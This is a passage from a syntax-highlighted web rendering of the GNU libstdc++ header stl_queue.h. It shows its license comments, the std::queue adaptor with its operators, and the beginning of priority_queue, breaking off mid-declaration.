class="line">361</span><br><span class="line">362</span><br><span class="line">363</span><br><span class="line">364</span><br><span class="line">365</span><br><span class="line">366</span><br><span class="line">367</span><br><span class="line">368</span><br><span class="line">369</span><br><span class="line">370</span><br><span class="line">371</span><br><span class="line">372</span><br><span class="line">373</span><br><span class="line">374</span><br><span class="line">375</span><br><span class="line">376</span><br><span class="line">377</span><br><span class="line">378</span><br><span class="line">379</span><br><span class="line">380</span><br><span class="line">381</span><br><span class="line">382</span><br><span class="line">383</span><br><span class="line">384</span><br><span class="line">385</span><br><span class="line">386</span><br><span class="line">387</span><br><span class="line">388</span><br><span class="line">389</span><br><span class="line">390</span><br><span class="line">391</span><br><span class="line">392</span><br><span class="line">393</span><br><span class="line">394</span><br><span class="line">395</span><br><span class="line">396</span><br><span class="line">397</span><br><span class="line">398</span><br><span class="line">399</span><br><span class="line">400</span><br><span class="line">401</span><br><span class="line">402</span><br><span class="line">403</span><br><span class="line">404</span><br><span class="line">405</span><br><span class="line">406</span><br><span class="line">407</span><br><span class="line">408</span><br><span class="line">409</span><br><span class="line">410</span><br><span class="line">411</span><br><span class="line">412</span><br><span class="line">413</span><br><span class="line">414</span><br><span class="line">415</span><br><span class="line">416</span><br><span class="line">417</span><br><span class="line">418</span><br><span class="line">419</span><br><span class="line">420</span><br><span class="line">421</span><br><span class="line">422</span><br><span class="line">423</span><br><span class="line">424</span><br><span class="line">425</span><br><span class="line">426</span><br><span class="line">427</span><br><span class="line">428</span><br><span class="line">429</span><br><span class="line">430</span><br><span class="line">431</span><br><span class="line">432</span><br><span class="line">433</span><br><span class="line">434</span><br><span class="line">435</span><br><span class="line">436</span><br><span class="line">437</span><br><span class="line">438</span><br><span class="line">439</span><br><span class="line">440</span><br><span class="line">441</span><br><span class="line">442</span><br><span class="line">443</span><br><span class="line">444</span><br><span class="line">445</span><br><span class="line">446</span><br><span class="line">447</span><br><span class="line">448</span><br><span class="line">449</span><br><span class="line">450</span><br><span class="line">451</span><br><span class="line">452</span><br><span class="line">453</span><br><span class="line">454</span><br><span class="line">455</span><br><span class="line">456</span><br><span class="line">457</span><br><span class="line">458</span><br><span class="line">459</span><br><span class="line">460</span><br><span class="line">461</span><br><span class="line">462</span><br><span class="line">463</span><br><span class="line">464</span><br><span class="line">465</span><br><span class="line">466</span><br><span class="line">467</span><br><span class="line">468</span><br><span class="line">469</span><br><span class="line">470</span><br><span class="line">471</span><br><span class="line">472</span><br><span class="line">473</span><br><span class="line">474</span><br><span class="line">475</span><br><span class="line">476</span><br><span class="line">477</span><br><span class="line">478</span><br><span class="line">479</span><br><span class="line">480</span><br><span class="line">481</span><br><span class="line">482</span><br><span class="line">483</span><br><span class="line">484</span><br><span class="line">485</span><br><span class="line">486</span><br><span class="line">487</span><br><span class="line">488</span><br><span class="line">489</span><br><span class="line">490</span><br><span class="line">491</span><br><span class="line">492</span><br><span class="line">493</span><br><span class="line">494</span><br><span class="line">495</span><br><span class="line">496</span><br><span class="line">497</span><br><span class="line">498</span><br><span class="line">499</span><br><span class="line">500</span><br><span class="line">501</span><br><span class="line">502</span><br><span class="line">503</span><br><span class="line">504</span><br><span class="line">505</span><br><span class="line">506</span><br><span class="line">507</span><br><span class="line">508</span><br><span class="line">509</span><br><span class="line">510</span><br><span class="line">511</span><br><span class="line">512</span><br><span class="line">513</span><br><span class="line">514</span><br><span class="line">515</span><br><span class="line">516</span><br><span class="line">517</span><br><span class="line">518</span><br><span class="line">519</span><br><span class="line">520</span><br><span class="line">521</span><br><span class="line">522</span><br><span class="line">523</span><br><span class="line">524</span><br><span class="line">525</span><br><span class="line">526</span><br><span class="line">527</span><br><span class="line">528</span><br><span class="line">529</span><br><span class="line">530</span><br><span class="line">531</span><br><span class="line">532</span><br><span class="line">533</span><br><span class="line">534</span><br><span class="line">535</span><br><span class="line">536</span><br><span class="line">537</span><br><span class="line">538</span><br><span class="line">539</span><br><span class="line">540</span><br><span class="line">541</span><br><span class="line">542</span><br><span class="line">543</span><br><span class="line">544</span><br><span class="line">545</span><br><span class="line">546</span><br><span class="line">547</span><br><span class="line">548</span><br><span class="line">549</span><br><span class="line">550</span><br><span class="line">551</span><br><span class="line">552</span><br><span class="line">553</span><br><span class="line">554</span><br><span class="line">555</span><br><span class="line">556</span><br><span class="line">557</span><br><span class="line">558</span><br><span class="line">559</span><br><span class="line">560</span><br><span class="line">561</span><br><span class="line">562</span><br><span class="line">563</span><br><span class="line">564</span><br><span class="line">565</span><br><span class="line">566</span><br><span class="line">567</span><br><span class="line">568</span><br><span class="line">569</span><br><span class="line">570</span><br><span class="line">571</span><br><span class="line">572</span><br><span class="line">573</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Queue implementation -*- C++ -*-</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// Copyright (C) 2001-2014 Free Software Foundation, Inc.</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// This file is part of the GNU ISO C++ Library. This library is free</span></span><br><span class="line"><span class="comment">// software; you can redistribute it and/or modify it under the</span></span><br><span class="line"><span class="comment">// terms of the GNU General Public License as published by the</span></span><br><span class="line"><span class="comment">// Free Software Foundation; either version 3, or (at your option)</span></span><br><span class="line"><span class="comment">// any later version.</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// This library is distributed in the hope that it will be useful,</span></span><br><span class="line"><span class="comment">// but WITHOUT ANY WARRANTY; without even the implied warranty of</span></span><br><span class="line"><span class="comment">// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the</span></span><br><span class="line"><span class="comment">// GNU General Public License for more details.</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// Under Section 7 of GPL version 3, you are granted additional</span></span><br><span class="line"><span class="comment">// permissions described in the GCC Runtime Library Exception, version</span></span><br><span class="line"><span class="comment">// 3.1, as published by the Free Software Foundation.</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// You should have received a copy of the GNU General Public License and</span></span><br><span class="line"><span class="comment">// a copy of the GCC Runtime Library Exception along with this program;</span></span><br><span class="line"><span class="comment">// see the files COPYING3 and COPYING.RUNTIME respectively. If not, see</span></span><br><span class="line"><span class="comment">// <http://www.gnu.org/licenses/>.</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * Copyright (c) 1994</span></span><br><span class="line"><span class="comment"> * Hewlett-Packard Company</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * Permission to use, copy, modify, distribute and sell this software</span></span><br><span class="line"><span class="comment"> * and its documentation for any purpose is hereby granted without fee,</span></span><br><span class="line"><span class="comment"> * provided that the above copyright notice appear in all copies and</span></span><br><span class="line"><span class="comment"> * that both that copyright notice and this permission notice appear</span></span><br><span class="line"><span class="comment"> * in supporting documentation. Hewlett-Packard Company makes no</span></span><br><span class="line"><span class="comment"> * representations about the suitability of this software for any</span></span><br><span class="line"><span class="comment"> * purpose. It is provided "as is" without express or implied warranty.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * Copyright (c) 1996,1997</span></span><br><span class="line"><span class="comment"> * Silicon Graphics Computer Systems, Inc.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * Permission to use, copy, modify, distribute and sell this software</span></span><br><span class="line"><span class="comment"> * and its documentation for any purpose is hereby granted without fee,</span></span><br><span class="line"><span class="comment"> * provided that the above copyright notice appear in all copies and</span></span><br><span class="line"><span class="comment"> * that both that copyright notice and this permission notice appear</span></span><br><span class="line"><span class="comment"> * in supporting documentation. Silicon Graphics makes no</span></span><br><span class="line"><span class="comment"> * representations about the suitability of this software for any</span></span><br><span class="line"><span class="comment"> * purpose. It is provided "as is" without express or implied warranty.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/** @file bits/stl_queue.h</span></span><br><span class="line"><span class="comment"> * This is an internal header file, included by other library headers.</span></span><br><span class="line"><span class="comment"> * Do not attempt to use it directly. @headername{queue}</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">ifndef</span> _STL_QUEUE_H</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> _STL_QUEUE_H 1</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><bits/concept_check.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><debug/debug.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">if</span> __cplusplus >= 201103L</span></span><br><span class="line"><span class="meta"># <span class="keyword">include</span> <span class="string"><bits/uses_allocator.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> std _GLIBCXX_VISIBILITY(<span class="keyword">default</span>)</span><br><span class="line">{</span><br><span class="line">_GLIBCXX_BEGIN_NAMESPACE_VERSION</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * @brief A standard container giving FIFO behavior.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * @ingroup sequences</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * @tparam _Tp Type of element.</span></span><br><span class="line"><span class="comment"> * @tparam _Sequence Type of underlying sequence, defaults to deque<_Tp>.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * Meets many of the requirements of a</span></span><br><span class="line"><span class="comment"> * <a href="tables.html#65">container</a>,</span></span><br><span class="line"><span class="comment"> * but does not define anything to do with iterators. Very few of the</span></span><br><span class="line"><span class="comment"> * other standard container interfaces are defined.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * This is not a true container, but an @e adaptor. It holds another</span></span><br><span class="line"><span class="comment"> * container, and provides a wrapper interface to that container. The</span></span><br><span class="line"><span class="comment"> * wrapper is what enforces strict first-in-first-out %queue behavior.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * The second template parameter defines the type of the underlying</span></span><br><span class="line"><span class="comment"> * sequence/container. It defaults to std::deque, but it can be any type</span></span><br><span class="line"><span class="comment"> * that supports @c front, @c back, @c push_back, and @c pop_front,</span></span><br><span class="line"><span class="comment"> * such as std::list or an appropriate user-defined type.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * Members not found in @a normal containers are @c container_type,</span></span><br><span class="line"><span class="comment"> * which is a typedef for the second Sequence parameter, and @c push and</span></span><br><span class="line"><span class="comment"> * @c pop, which are standard %queue/FIFO operations.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">template</span><<span class="keyword">typename</span> _Tp, <span class="keyword">typename</span> _Sequence = deque<_Tp> ></span><br><span class="line"> <span class="keyword">class</span> queue</span><br><span class="line"> {</span><br><span class="line"> <span class="comment">// concept requirements</span></span><br><span class="line"> <span class="keyword">typedef</span> <span class="keyword">typename</span> _Sequence::value_type _Sequence_value_type;</span><br><span class="line"> __glibcxx_class_requires(_Tp, _SGIAssignableConcept)</span><br><span class="line"> __glibcxx_class_requires(_Sequence, _FrontInsertionSequenceConcept)</span><br><span class="line"> __glibcxx_class_requires(_Sequence, _BackInsertionSequenceConcept)</span><br><span class="line"> __glibcxx_class_requires2(_Tp, _Sequence_value_type, _SameTypeConcept)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">template</span><<span class="keyword">typename</span> _Tp1, <span class="keyword">typename</span> _Seq1></span><br><span class="line"> <span class="keyword">friend</span> <span class="type">bool</span></span><br><span class="line"> <span class="keyword">operator</span>==(<span class="type">const</span> queue<_Tp1, _Seq1>&, <span class="type">const</span> queue<_Tp1, _Seq1>&);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">template</span><<span class="keyword">typename</span> _Tp1, <span class="keyword">typename</span> _Seq1></span><br><span class="line"> <span class="keyword">friend</span> <span class="type">bool</span></span><br><span class="line"> <span class="keyword">operator</span><(<span class="type">const</span> queue<_Tp1, _Seq1>&, <span class="type">const</span> queue<_Tp1, _Seq1>&);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span>:</span><br><span class="line"> <span class="keyword">typedef</span> <span class="keyword">typename</span> _Sequence::value_type value_type;</span><br><span class="line"> <span class="keyword">typedef</span> <span class="keyword">typename</span> _Sequence::reference reference;</span><br><span class="line"> <span class="keyword">typedef</span> <span class="keyword">typename</span> _Sequence::const_reference const_reference;</span><br><span class="line"> <span class="keyword">typedef</span> <span class="keyword">typename</span> _Sequence::size_type size_type;</span><br><span class="line"> <span class="keyword">typedef</span> _Sequence container_type;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">protected</span>:</span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 'c' is the underlying container. Maintainers wondering why</span></span><br><span class="line"><span class="comment"> * this isn't uglified as per style guidelines should note that</span></span><br><span class="line"><span class="comment"> * this name is specified in the standard, [23.2.3.1]. (Why?</span></span><br><span class="line"><span class="comment"> * Presumably for the same reason that it's protected instead</span></span><br><span class="line"><span class="comment"> * of private: to allow derivation. But none of the other</span></span><br><span class="line"><span class="comment"> * containers allow for derivation. Odd.)</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> _Sequence c;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span>:</span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * @brief Default constructor creates no elements.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">#<span class="keyword">if</span> __cplusplus < 201103L</span></span><br><span class="line"> <span class="function"><span class="keyword">explicit</span></span></span><br><span class="line"><span class="function"> <span class="title">queue</span><span class="params">(<span class="type">const</span> _Sequence& __c = _Sequence())</span></span></span><br><span class="line"><span class="function"> : c(__c) {</span> }</span><br><span class="line"><span class="meta">#<span class="keyword">else</span></span></span><br><span class="line"> <span class="function"><span class="keyword">explicit</span></span></span><br><span class="line"><span class="function"> <span class="title">queue</span><span class="params">(<span class="type">const</span> _Sequence& __c)</span></span></span><br><span class="line"><span class="function"> : c(__c) {</span> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">explicit</span></span></span><br><span class="line"><span class="function"> <span class="title">queue</span><span class="params">(_Sequence&& __c = _Sequence())</span></span></span><br><span class="line"><span class="function"> : c(std::move(__c)) {</span> }</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Returns true if the %queue is empty.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="function"><span class="type">bool</span></span></span><br><span class="line"><span class="function"> <span class="title">empty</span><span class="params">()</span> <span class="type">const</span></span></span><br><span class="line"><span class="function"> </span>{ <span class="keyword">return</span> c.<span class="built_in">empty</span>(); }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/** Returns the number of elements in the %queue. */</span></span><br><span class="line"> <span class="function">size_type</span></span><br><span class="line"><span class="function"> <span class="title">size</span><span class="params">()</span> <span class="type">const</span></span></span><br><span class="line"><span class="function"> </span>{ <span class="keyword">return</span> c.<span class="built_in">size</span>(); }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Returns a read/write reference to the data at the first</span></span><br><span class="line"><span class="comment"> * element of the %queue.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="function">reference</span></span><br><span class="line"><span class="function"> <span class="title">front</span><span class="params">()</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line">__glibcxx_requires_nonempty();</span><br><span class="line"><span class="keyword">return</span> c.<span class="built_in">front</span>();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Returns a read-only (constant) reference to the data at the first</span></span><br><span class="line"><span class="comment"> * element of the %queue.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="function">const_reference</span></span><br><span class="line"><span class="function"> <span class="title">front</span><span class="params">()</span> <span class="type">const</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line">__glibcxx_requires_nonempty();</span><br><span class="line"><span class="keyword">return</span> c.<span class="built_in">front</span>();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Returns a read/write reference to the data at the last</span></span><br><span class="line"><span class="comment"> * element of the %queue.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="function">reference</span></span><br><span class="line"><span class="function"> <span class="title">back</span><span class="params">()</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line">__glibcxx_requires_nonempty();</span><br><span class="line"><span class="keyword">return</span> c.<span class="built_in">back</span>();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Returns a read-only (constant) reference to the data at the last</span></span><br><span class="line"><span class="comment"> * element of the %queue.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="function">const_reference</span></span><br><span class="line"><span class="function"> <span class="title">back</span><span class="params">()</span> <span class="type">const</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line">__glibcxx_requires_nonempty();</span><br><span class="line"><span class="keyword">return</span> c.<span class="built_in">back</span>();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * @brief Add data to the end of the %queue.</span></span><br><span class="line"><span class="comment"> * @param __x Data to be added.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * This is a typical %queue operation. The function creates an</span></span><br><span class="line"><span class="comment"> * element at the end of the %queue and assigns the given data</span></span><br><span class="line"><span class="comment"> * to it. The time complexity of the operation depends on the</span></span><br><span class="line"><span class="comment"> * underlying sequence.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="function"><span class="type">void</span></span></span><br><span class="line"><span class="function"> <span class="title">push</span><span class="params">(<span class="type">const</span> value_type& __x)</span></span></span><br><span class="line"><span class="function"> </span>{ c.<span class="built_in">push_back</span>(__x); }</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">if</span> __cplusplus >= 201103L</span></span><br><span class="line"> <span class="function"><span class="type">void</span></span></span><br><span class="line"><span class="function"> <span class="title">push</span><span class="params">(value_type&& __x)</span></span></span><br><span class="line"><span class="function"> </span>{ c.<span class="built_in">push_back</span>(std::<span class="built_in">move</span>(__x)); }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">template</span><<span class="keyword">typename</span>... _Args></span></span><br><span class="line"><span class="function"> <span class="type">void</span></span></span><br><span class="line"><span class="function"> <span class="title">emplace</span><span class="params">(_Args&&... __args)</span></span></span><br><span class="line"><span class="function"></span>{ c.<span class="built_in">emplace_back</span>(std::forward<_Args>(__args)...); }</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * @brief Removes first element.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * This is a typical %queue operation. It shrinks the %queue by one.</span></span><br><span class="line"><span class="comment"> * The time complexity of the operation depends on the underlying</span></span><br><span class="line"><span class="comment"> * sequence.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * Note that no data is returned, and if the first element's</span></span><br><span class="line"><span class="comment"> * data is needed, it should be retrieved before pop() is</span></span><br><span class="line"><span class="comment"> * called.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="function"><span class="type">void</span></span></span><br><span class="line"><span class="function"> <span class="title">pop</span><span class="params">()</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line">__glibcxx_requires_nonempty();</span><br><span class="line">c.<span class="built_in">pop_front</span>();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">if</span> __cplusplus >= 201103L</span></span><br><span class="line"> <span class="function"><span class="type">void</span></span></span><br><span class="line"><span class="function"> <span class="title">swap</span><span class="params">(queue& __q)</span></span></span><br><span class="line"><span class="function"> <span class="title">noexcept</span><span class="params">(<span class="keyword">noexcept</span>(swap(c, __q.c)))</span></span></span><br><span class="line"><span class="function"> </span>{</span><br><span class="line"><span class="keyword">using</span> std::swap;</span><br><span class="line"><span class="built_in">swap</span>(c, __q.c);</span><br><span class="line"> }</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line"> };</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * @brief Queue equality comparison.</span></span><br><span class="line"><span class="comment"> * @param __x A %queue.</span></span><br><span class="line"><span class="comment"> * @param __y A %queue of the same type as @a __x.</span></span><br><span class="line"><span class="comment"> * @return True iff the size and elements of the queues are equal.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * This is an equivalence relation. Complexity and semantics depend on the</span></span><br><span class="line"><span class="comment"> * underlying sequence type, but the expected rules are: this relation is</span></span><br><span class="line"><span class="comment"> * linear in the size of the sequences, and queues are considered equivalent</span></span><br><span class="line"><span class="comment"> * if their sequences compare equal.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">template</span><<span class="keyword">typename</span> _Tp, <span class="keyword">typename</span> _Seq></span><br><span class="line"> <span class="keyword">inline</span> <span class="type">bool</span></span><br><span class="line"> <span class="keyword">operator</span>==(<span class="type">const</span> queue<_Tp, _Seq>& __x, <span class="type">const</span> queue<_Tp, _Seq>& __y)</span><br><span class="line"> { <span class="keyword">return</span> __x.c == __y.c; }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * @brief Queue ordering relation.</span></span><br><span class="line"><span class="comment"> * @param __x A %queue.</span></span><br><span class="line"><span class="comment"> * @param __y A %queue of the same type as @a x.</span></span><br><span class="line"><span class="comment"> * @return True iff @a __x is lexicographically less than @a __y.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * This is an total ordering relation. Complexity and semantics</span></span><br><span class="line"><span class="comment"> * depend on the underlying sequence type, but the expected rules</span></span><br><span class="line"><span class="comment"> * are: this relation is linear in the size of the sequences, the</span></span><br><span class="line"><span class="comment"> * elements must be comparable with @c <, and</span></span><br><span class="line"><span class="comment"> * std::lexicographical_compare() is usually used to make the</span></span><br><span class="line"><span class="comment"> * determination.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">template</span><<span class="keyword">typename</span> _Tp, <span class="keyword">typename</span> _Seq></span><br><span class="line"> <span class="keyword">inline</span> <span class="type">bool</span></span><br><span class="line"> <span class="keyword">operator</span><(<span class="type">const</span> queue<_Tp, _Seq>& __x, <span class="type">const</span> queue<_Tp, _Seq>& __y)</span><br><span class="line"> { <span class="keyword">return</span> __x.c < __y.c; }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/// Based on operator==</span></span><br><span class="line"> <span class="keyword">template</span><<span class="keyword">typename</span> _Tp, <span class="keyword">typename</span> _Seq></span><br><span class="line"> <span class="keyword">inline</span> <span class="type">bool</span></span><br><span class="line"> <span class="keyword">operator</span>!=(<span class="type">const</span> queue<_Tp, _Seq>& __x, <span class="type">const</span> queue<_Tp, _Seq>& __y)</span><br><span class="line"> { <span class="keyword">return</span> !(__x == __y); }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/// Based on operator<</span></span><br><span class="line"> <span class="keyword">template</span><<span class="keyword">typename</span> _Tp, <span class="keyword">typename</span> _Seq></span><br><span class="line"> <span class="keyword">inline</span> <span class="type">bool</span></span><br><span class="line"> <span class="keyword">operator</span>>(<span class="type">const</span> queue<_Tp, _Seq>& __x, <span class="type">const</span> queue<_Tp, _Seq>& __y)</span><br><span class="line"> { <span class="keyword">return</span> __y < __x; }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/// Based on operator<</span></span><br><span class="line"> <span class="keyword">template</span><<span class="keyword">typename</span> _Tp, <span class="keyword">typename</span> _Seq></span><br><span class="line"> <span class="keyword">inline</span> <span class="type">bool</span></span><br><span class="line"> <span class="keyword">operator</span><=(<span class="type">const</span> queue<_Tp, _Seq>& __x, <span class="type">const</span> queue<_Tp, _Seq>& __y)</span><br><span class="line"> { <span class="keyword">return</span> !(__y < __x); }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/// Based on operator<</span></span><br><span class="line"> <span class="keyword">template</span><<span class="keyword">typename</span> _Tp, <span class="keyword">typename</span> _Seq></span><br><span class="line"> <span class="keyword">inline</span> <span class="type">bool</span></span><br><span class="line"> <span class="keyword">operator</span>>=(<span class="type">const</span> queue<_Tp, _Seq>& __x, <span class="type">const</span> queue<_Tp, _Seq>& __y)</span><br><span class="line"> { <span class="keyword">return</span> !(__x < __y); }</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">if</span> __cplusplus >= 201103L</span></span><br><span class="line"> <span class="function"><span class="keyword">template</span><<span class="keyword">typename</span> _Tp, <span class="keyword">typename</span> _Seq></span></span><br><span class="line"><span class="function"> <span class="keyword">inline</span> <span class="type">void</span></span></span><br><span class="line"><span class="function"> <span class="title">swap</span><span class="params">(queue<_Tp, _Seq>& __x, queue<_Tp, _Seq>& __y)</span></span></span><br><span class="line"><span class="function"> <span class="title">noexcept</span><span class="params">(<span class="keyword">noexcept</span>(__x.swap(__y)))</span></span></span><br><span class="line"><span class="function"> </span>{ __x.<span class="built_in">swap</span>(__y); }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">template</span><<span class="keyword">typename</span> _Tp, <span class="keyword">typename</span> _Seq, <span class="keyword">typename</span> _Alloc></span><br><span class="line"> <span class="keyword">struct</span> <span class="title class_">uses_allocator</span><queue<_Tp, _Seq>, _Alloc></span><br><span class="line"> : <span class="keyword">public</span> uses_allocator<_Seq, _Alloc>::type { };</span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * @brief A standard container automatically sorting its contents.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * @ingroup sequences</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * @tparam _Tp Type of element.</span></span><br><span class="line"><span class="comment"> * @tparam _Sequence Type of underlying sequence, defaults to vector<_Tp>.</span></span><br><span class="line"><span class="comment"> * @tparam _Compare Comparison function object type, defaults to </span></span><br><span class="line"><span class="comment"> * less<_Sequence::value_type>.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * This is not a true container, but an @e adaptor. It holds</span></span><br><span class="line"><span class="comment"> * another container, and provides a wrapper interface to that</span></span><br><span class="line"><span class="comment"> * container. The wrapper is what enforces priority-based sorting </span></span><br><span class="line"><span class="comment"> * and %queue behavior. Very few of the standard container/sequence</span></span><br><span class="line"><span class="comment"> * interface requirements are met (e.g., iterators).</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * The second template parameter defines the type of the underlying</span></span><br><span class="line"><span class="comment"> * sequence/container. It defaults to std::vector, but it can be</span></span><br><span class="line"><span class="comment"> * any type that supports @c front(), @c push_back, @c pop_back,</span></span><br><span class="line"><span class="comment"> * and random-access iterators, such as std::deque or an</span></span><br><span class="line"><span class="comment"> * appropriate user-defined type.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * The third template parameter supplies the means of making</span></span><br><span class="line"><span class="comment"> * priority comparisons. It defaults to @c less<value_type> but</span></span><br><span class="line"><span class="comment"> * can be anything defining a strict weak ordering.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * Members not found in @a normal containers are @c container_type,</span></span><br><span class="line"><span class="comment"> * which is a typedef for the second Sequence parameter, and @c</span></span><br><span class="line"><span class="comment"> * push, @c pop, and @c top, which are standard %queue operations.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * @note No equality/comparison operators are provided for</span></span><br><span class="line"><span class="comment"> * %priority_queue.</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * @note Sorting of the elements takes place as they are added to,</span></span><br><span class="line"><span class="comment"> * and removed from, the %priority_queue using the</span></span><br><span class="line"><span class="comment"> * %priority_queue's member functions. If you access the elements</span></span><br><span class="line"><span class="comment"> * by other means, and change their data such that the sorting</span></span><br><span class="line"><span class="comment"> * order would be different, the %priority_queue will not re-sort</span></span><br><span class="line"><span class="comment"> * the elements for you. (How could it know to do so?)</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">template</span><<span class="keyword">typename</span> _Tp, <span class="keyword">typename</span> _Sequence = vector<_Tp>,</span><br><span class="line"> <span class="keyword">typename</span> _Compare = less<<span class="keyword">typename</span> _Sequence::value_type> ></span><br><span class="line"> <span class="keyword">class</span> priority_queue</span><br><span class="line"> {</span><br><span class="line"> <span class="comment">// concept requirements</span></span><br><span class="line"> <span class="keyword">typedef</span> <span class="keyword">typename</span> _Sequence::value_type _Sequence_value_type;</span><br><span class="line"> __glibcxx_class_requires(_Tp, _SGIAssignableConcept)</span><br><span class="line"> __glibcxx_class_requires(_Sequence, _SequenceConcept)</span><br><span class="line"> __glibcxx_class_requires(_Sequence, _RandomAccessContainerConcept)</span><br><span class="line"> __glibcxx_class_requires2(_Tp, _Sequence_value_type, 